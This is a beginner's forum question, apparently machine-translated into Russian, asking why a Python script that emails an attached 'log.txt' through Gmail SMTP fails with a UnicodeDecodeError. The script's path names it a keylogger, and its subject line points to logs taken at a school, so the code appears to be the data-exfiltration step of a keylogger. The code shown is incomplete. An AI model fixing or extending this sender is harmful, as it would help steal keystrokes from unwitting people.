Так что я пытаюсь сделать отправителя электронной почты, просто для удовольствия.Он не может что-то декодировать, но я не могу найти ошибку, я хотел бы поблагодарить за любую помощь.Я запустил Python 3-4 месяца назад, поэтому, если вам интересно, почему я не могу найти его, из-за этого.Буду признателен за любую помощь.Спасибо:)
Вот мой код:
import stuff
emailfelhasz = 'mail'
emailjelsz = 'passwrd'
emailfelhkuld = 'mail'
targy = 'logok sulibol lenny'
msg = MIMEMultipart()
msg['From'] = emailfelhasz
msg['To'] = emailfelhkuld
msg['Subject'] = targy
body = 'Ujabb log'
msg.attach(MIMEText(body, 'plain'))
filename = 'log.txt'
attachment = open(filename, 'rb')
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login(emailfelhasz, emailjelsz)
print("Sikeres belépés")
for i in range(0, 20):
server.sendmail(emailfelhasz, emailfelhkuld, text)
print("Email elküldve")
server.quit()
И ошибка:
Traceback (most recent call last):
File "C:/PycharmProjects/eskunemkeylogger/eskunemlogger.pyw", line 33, in <module>
server = smtplib.SMTP('smtp.gmail.com', 587)
File "C:\AppData\Local\Programs\Python\Python36-32\lib\smtplib.py", line 261, in __init__
fqdn = socket.getfqdn()
File "C:\AppData\Local\Programs\Python\Python36-32\lib\socket.py", line 673, in getfqdn
hostname, aliases, ipaddrs = gethostbyaddr(name)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf3 in position 1: invalid continuation byte